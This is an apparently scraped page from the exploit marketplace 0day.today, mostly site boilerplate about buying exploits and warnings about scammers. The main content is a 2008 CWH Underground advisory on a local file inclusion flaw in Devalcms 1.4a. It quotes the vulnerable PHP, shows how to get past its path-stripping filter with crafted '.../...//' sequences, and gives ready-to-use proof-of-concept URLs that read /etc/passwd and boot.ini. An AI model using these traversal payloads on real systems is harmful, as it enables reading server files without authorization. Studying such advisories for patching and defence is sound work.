0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Devalcms 1.4a (currentfile) Local File Inclusion Vulnerability
============================================================== Devalcms 1.4a (currentfile) Local File Inclusion Vulnerability ============================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 15 June 2008 ##################################################### APPLICATION : Devalcms VERSION : 1.4a DOWNLOAD : http://downloads.sourceforge.net/devalcms ##################################################### --- LFI --- ** magic_quotes_gpc = Off ** ------------------------- Vulnerable in func.php ------------------------- @Line 13: $myfile = $gv_folder_data . $currentpath . "/" . $myfile; 14: 15: if(is_file($myfile)){ 16: include($myfile); 17: } else { 18: echo "not found"; 19: } . . . 98: function mystriprelative($mytext) 99: { 100: $mytext2 = $mytext; 101: $mytext2 = str_replace("/..","",$mytext2); 102: $mytext2 = str_replace("\\..","",$mytext2); 103: $mytext2 = str_replace("../","",$mytext2); 104: $mytext2 = str_replace("..\\","",$mytext2); 105: return $mytext2; 106: } ------------------------- Detail of vulnerability ------------------------- Function mystriprelative is a function to prevent user from inserting relative path into variable. As the code above, you can bypass this fuction by something like following Simple Algorithm: [+] When we use ".../...//" Function will convert to "../" [+] When we use "./.....//" Function will convert to "../" [+] When we use ".../...//./.....//" Function will convert to "../../" So we must use ".../...//./.....//./.....//etc/passwd%00" Function will convert to "../../../etc/passwd%00" ------------- POC Exploit ------------- For Windows: [+] http://[Target]/[devalcms_path]/index.php?currentpath=..¤tfile=.../...//./.....//./.....//boot.ini%00 For Linux: [+] http://[Target]/[devalcms_path]/index.php?currentpath=..¤tfile=.../...//./.....//./.....//etc/passwd%00 ################################################################## # Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos # ################################################################## # 0day.today [2024-12-26] #